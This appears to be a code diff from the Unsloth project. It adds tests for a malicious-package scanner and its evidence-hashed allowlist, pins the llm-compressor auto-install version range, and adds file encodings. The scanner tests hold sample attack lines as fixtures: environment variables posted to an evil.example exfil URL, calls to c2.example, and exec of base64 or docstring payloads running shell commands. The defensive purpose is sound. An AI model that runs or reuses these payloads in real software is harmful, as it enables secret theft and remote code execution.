+ for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")
+ if f.check.startswith("Unusually large executable .pth")
+ ]
+ b = [
+ f
+ for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p")
+ if f.check.startswith("Unusually large executable .pth")
+ ]
+ assert a and b
+ assert "sha256:" in a[0].evidence
+ assert sp._finding_key(a[0]) != sp._finding_key(b[0])
+
+
+def test_js_token_network_finding_binds_network_evidence():
+ # The JS stealer combo records both the token AND the network call, so a
+ # changed exfil endpoint reopens (RE_NETWORK-recognized call used here).
+ old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
+ new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"
+ fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]
+ fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]
+ assert fo and fn
+ assert "Network:" in fo[0].evidence
+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_embedded_pem_key_body_change_reopens():
+ # The embedded-key evidence pins the full PEM block via a digest, so swapping
+ # the key body under the same BEGIN/END markers reopens the finding instead
+ # of riding the unchanged marker line.
+ head = "-----BEGIN RSA PRIVATE KEY-----\n"
+ tail = "\n-----END RSA PRIVATE KEY-----"
+ net = "\nrequests.get('http://c2.example')\n"
+ old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}"
+ new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}"
+ fo = [
+ f
+ for f in sp.check_py_file(old, "p/k.py", "p")
+ if f.check.startswith("Embedded cryptographic key + network")
+ ]
+ fn = [
+ f
+ for f in sp.check_py_file(new, "p/k.py", "p")
+ if f.check.startswith("Embedded cryptographic key + network")
+ ]
+ assert fo and fn
+ assert "sha256:" in fo[0].evidence
+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_shell_combos_bind_network_evidence():
+ # Both shell combos record their network/exec side, so a changed endpoint
+ # reopens instead of riding the unchanged token or hook line.
+ old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"
+ new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"
+ to = [
+ f
+ for f in sp.check_shell_file(old, "p/i.sh", "p")
+ if f.check == "Shell embeds credential regexes AND makes network calls"
+ ]
+ tn = [
+ f
+ for f in sp.check_shell_file(new, "p/i.sh", "p")
+ if f.check == "Shell embeds credential regexes AND makes network calls"
+ ]
+ assert to and tn
+ assert sp._finding_key(to[0]) != sp._finding_key(tn[0])
+ ho = "SessionStart hook installed\nrequests.get('http://old.example')\n"
+ hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n"
+ go = [
+ f
+ for f in sp.check_shell_file(ho, "p/i.sh", "p")
+ if f.check.startswith("Shell installs developer-tool")
+ ]
+ gn = [
+ f
+ for f in sp.check_shell_file(hn, "p/i.sh", "p")
+ if f.check.startswith("Shell installs developer-tool")
+ ]
+ assert go and gn
+ assert "Hook:" in go[0].evidence
+ assert sp._finding_key(go[0]) != sp._finding_key(gn[0])
+
+
+def test_hidden_network_exec_reopens_on_endpoint_change():
+ # The hidden network+exec payload binds both the network and the exec signal,
+ # so changing the docstring exfil URL reopens the finding.
+ old = (
+ '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n'
+ 'os.system("sh -c id")\n"""\nexec(__doc__)\n'
+ )
+ new = (
+ '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'
+ 'os.system("sh -c id")\n"""\nexec(__doc__)\n'
+ )
+ fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]
+ fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]
+ assert fo and fn
+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_base64_exec_blob_combo_binds_blob_digest():
+ # The blob may sit on a separate line from the decode call; the finding now
+ # digests it, so a changed payload reopens even with unchanged base64/exec.
+ b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
+ b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"
+ f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]
+ f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]
+ assert f1 and f2
+ assert "Blob: sha256:" in f1[0].evidence
+ assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])
+
+
+def test_openssl_key_combo_binds_key_evidence():
+ # openssl + embedded key with no network must bind the key, so a changed key
+ # reopens instead of riding the OpenSSL line alone.
+ o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'
+ o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'
+ g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]
+ g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]
+ assert g1 and g2
+ assert "Key:" in g1[0].evidence
+ assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])
+
+
+def test_anti_analysis_combo_binds_suspicious_side():
+ # The anti-analysis combo records the network/exec side, so a changed exfil
+ # endpoint reopens instead of riding the unchanged sleep/trace line.
+ old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"
+ new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"
+ fo = [
+ f
+ for f in sp.check_py_file(old, "p/x.py", "p")
+ if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
+ ]
+ fn = [
+ f
+ for f in sp.check_py_file(new, "p/x.py", "p")
+ if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
+ ]
+ assert fo and fn
+ assert "Network:" in fo[0].evidence
+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_dns_exfil_combo_binds_other_side():
+ # The DNS exfil combo records the co-occurring network side, so a changed
+ # endpoint reopens instead of riding the unchanged DNS line.
+ old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"
+ new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"
+ fo = [
+ f
+ for f in sp.check_py_file(old, "p/d.py", "p")
+ if f.check == "DNS exfiltration / tunneling patterns"
+ ]
+ fn = [
+ f
+ for f in sp.check_py_file(new, "p/d.py", "p")
+ if f.check == "DNS exfiltration / tunneling patterns"
+ ]
+ assert fo and fn
+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_large_js_bundle_finding_is_content_bound():
+ # A large benign JS bundle yields a HIGH carrying a content digest, not empty
+ # evidence: two different bundles in the same size bucket get different keys,
+ # so a malicious bundle cannot ride a baselined empty-evidence entry.
+ big_a = "var x = 1;\n" * 20000 # ~200 KB, benign
+ big_b = big_a + "var exfil = 2;\n" # different content, same size bucket
+ ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
+ jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
+ assert ja and jb, "large JS bundle must produce a finding"
+ assert ja[0].evidence.startswith("sha256:")
+ assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])
+
+
+def test_pth_large_blob_finding_is_content_bound():
+ # The .pth base64-blob evidence pins the full blob via a digest, so a payload
+ # that keeps the first 120 chars but changes the tail reopens the finding.
+ head = "A" * 120
+ a = [
+ f
+ for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p")
+ if "base64-like blob" in f.check
+ ]
+ b = [
+ f
+ for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p")
+ if "base64-like blob" in f.check
+ ]
+ assert a and b, "large .pth blob must produce a finding"
+ assert "sha256:" in a[0].evidence
+ assert sp._finding_key(a[0]) != sp._finding_key(b[0])
+
+
+def test_pth_import_lines_record_all_not_first_five():
+ # All executable import lines are recorded, so swapping the sixth import for a
+ # malicious one (first five unchanged) still reopens the catch-all finding.
+ base = "".join(f"import mod{i}\n" for i in range(6))
+ swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"
+ fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]
+ fs = [
+ f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check
+ ]
+ assert fb and fs
+ assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])
+
+
+def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):
+ # A legacy baseline predating evidence_hash still loads (hash recomputed) but
+ # must WARN so the maintainer regenerates rather than degrade silently.
+ import json
+
+ bl = tmp_path / "legacy.json"
+ bl.write_text(
+ json.dumps(
+ {
+ "version": 1,
+ "entries": [
+ {
+ "package": "p",
+ "file": "p/x.py",
+ "check": "c",
+ "severity": sp.CRITICAL,
+ "evidence": "L5: while True:",
+ }
+ ],
+ }
+ )
+ )
+ keys = sp._load_baseline(str(bl))
+ assert keys # still loaded
+ assert "lack evidence_hash" in capsys.readouterr().err
+
+
def test_fstring_statement_is_not_blanked():
# A bare f-string evaluates at import, so it must stay scannable.
src = "f\"{__import__('os').system('id')}\"\n"
@@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged():
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
bl = tmp_path / "bl.json"
- listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
+ listed = _mk(
+ sp.CRITICAL,
+ "fastapi",
+ "fastapi/routing.py",
+ "C2 polling/beaconing loop detected",
+ "L579: while True:",
+ )
sp._write_baseline(str(bl), [listed])
baseline = sp._load_baseline(str(bl))
- # Same (package, basename, check) -> suppressed.
+ # Same (package, path, check, matched code) -> suppressed.
active, suppressed = sp._partition_baseline([listed], baseline)
assert suppressed == [listed] and active == []
@@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
assert active2 == [new_kind] and suppressed2 == []
+ # Same file + same check but CHANGED flagged code -> still active. A future
+ # malicious payload cannot ride a previously reviewed entry's suppression.
+ changed_code = _mk(
+ sp.CRITICAL,
+ "fastapi",
+ "fastapi/routing.py",
+ "C2 polling/beaconing loop detected",
+ "L579: while True: requests.get('http://c2.example/beacon')",
+ )
+ active3, suppressed3 = sp._partition_baseline([changed_code], baseline)
+ assert active3 == [changed_code] and suppressed3 == []
+
+ # A benign line shift of the SAME code stays suppressed (no version churn).
+ shifted = _mk(
+ sp.CRITICAL,
+ "fastapi",
+ "fastapi/routing.py",
+ "C2 polling/beaconing loop detected",
+ "L640: while True:",
+ )
+ active4, suppressed4 = sp._partition_baseline([shifted], baseline)
+ assert suppressed4 == [shifted] and active4 == []
+
def test_write_baseline_roundtrip_only_crit_high(tmp_path):
bl = tmp_path / "bl.json"
@@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty():
assert sp._load_baseline("/nonexistent/path/bl.json") == set()
+def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):
+ # A malformed baseline whose "entries" is not a list must warn and fail
+ # closed (empty), not raise TypeError when iterated.
+ import json
+
+ bl = tmp_path / "bad_entries.json"
+ bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8")
+ assert sp._load_baseline(str(bl)) == set()
+ assert "entries is not a list" in capsys.readouterr().err
+
+
+def test_committed_baseline_suppresses_known_but_not_a_new_payload():
+ """End-to-end against the shipped allowlist: a reviewed benign finding stays
+ suppressed, but a NEW malicious payload in the same baselined file/check is
+ not (closes the supply-chain bypass where a future botocore/utils.py payload
+ rode the existing CRITICAL entry)."""
+ import json
+
+ baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
+ entries = json.loads(baseline_path.read_text())["entries"]
+ target = next(
+ e
+ for e in entries
+ if e["package"] == "botocore"
+ and e["file"] == "botocore/utils.py"
+ and e["check"] == "Harvests environment variables/secrets AND makes network calls"
+ )
+ baseline = sp._load_baseline(str(baseline_path))
+
+ # The exact reviewed finding is suppressed.
+ benign = _mk(
+ target["severity"], target["package"], target["file"], target["check"], target["evidence"]
+ )
+ active, suppressed = sp._partition_baseline([benign], baseline)
+ assert suppressed == [benign] and active == []
+
+ # A future malicious version: same file, same check, new exfil code. Must
+ # remain ACTIVE so the enforcing gate (exit 1) still trips.
+ malicious = _mk(
+ target["severity"],
+ target["package"],
+ target["file"],
+ target["check"],
+ "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
+ )
+ active2, suppressed2 = sp._partition_baseline([malicious], baseline)
+ assert active2 == [malicious] and suppressed2 == []
+
+
+def test_committed_baseline_entries_all_carry_evidence_hash():
+ """Every shipped entry must pin an evidence_hash; an entry without one would
+ silently fall back to the coarse legacy match for that file/check."""
+ import json
+
+ baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
+ entries = json.loads(baseline_path.read_text())["entries"]
+ assert entries, "committed baseline should not be empty"
+ missing = [
+ f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")
+ ]
+ assert not missing, f"entries missing evidence_hash: {missing[:5]}"
+ # And each pinned hash matches a recompute from the stored evidence.
+ for e in entries:
+ assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]
+
+
# sdist fallback: cover sdist-only packages without building. All offline
# -- PyPI JSON / download are mocked.
diff --git a/unsloth/save.py b/unsloth/save.py
index 76bc6aa733..226ca5fed8 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -1363,11 +1363,18 @@ def install_python_non_blocking(packages = []):
return run_installer
+# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor
+# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and
+# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below).
+_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0"
+
+
def install_llm_compressor():
"""Import llm-compressor, installing it on first use for FP8/FP4 export.
- Pins the current torch + transformers so pip does not upgrade them (a plain install pulls
- transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier).
+ Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does
+ not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install.
+ Returns (oneshot, QuantizationModifier).
"""
try:
from llmcompressor import oneshot
@@ -1376,9 +1383,24 @@ def install_llm_compressor():
except Exception:
pass
+ # Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one.
+ if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in (
+ "0",
+ "",
+ "false",
+ "no",
+ ):
+ raise RuntimeError(
+ "Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not "
+ "installed, and automatic installation is disabled via "
+ "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n"
+ f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
+ "(pin torch and transformers to your current versions to avoid upgrading them)."
+ )
+
print(
"Unsloth: Installing llm-compressor for FP8/FP4 export "
- "(pinning your torch + transformers so they are not upgraded). "
+ f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). "
"This can take a few minutes..."
)
import importlib
@@ -1401,13 +1423,13 @@ def install_llm_compressor():
import importlib.util
if importlib.util.find_spec("pip") is not None:
- cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"]
+ cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC]
elif shutil.which("uv") is not None:
- cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"]
+ cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC]
else:
raise RuntimeError(
"Unsloth: cannot install llm-compressor because this environment has neither pip nor "
- f"uv. Install it manually with:\n uv pip install --python {sys.executable} llmcompressor\n"
+ f"uv. Install it manually with:\n uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
"(pin torch and transformers to your current versions to avoid upgrading them)."
)
cpath = None
@@ -1421,8 +1443,8 @@ def install_llm_compressor():
except subprocess.CalledProcessError as e:
raise RuntimeError(
"Unsloth: Failed to install llm-compressor. Install it manually with:\n"
- f" uv pip install --python {sys.executable} llmcompressor\n"
- f"or, if pip is available:\n {sys.executable} -m pip install llmcompressor\n"
+ f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
+ f"or, if pip is available:\n {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n"
"(pin torch and transformers to your current versions to avoid upgrading them).\n"
f"Underlying error: {e}"
)
diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py
index a483aeeb6c..d3bfbbf96b 100644
--- a/unsloth_cli/commands/chat.py
+++ b/unsloth_cli/commands/chat.py
@@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool:
if not adapter_cfg_path.exists():
return True
- with open(adapter_cfg_path) as f:
+ with open(adapter_cfg_path, encoding = "utf-8") as f:
adapter_cfg = json.load(f)
training_method = adapter_cfg.get("unsloth_training_method")
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 7a5080bd10..80641a17c3 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -461,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None:
os.chmod(tmp_path, 0o600)
except OSError:
pass
- with os.fdopen(fd, "w") as f:
+ with os.fdopen(fd, "w", encoding = "utf-8") as f:
fd = -1
f.write(secret)
os.replace(tmp_path, path)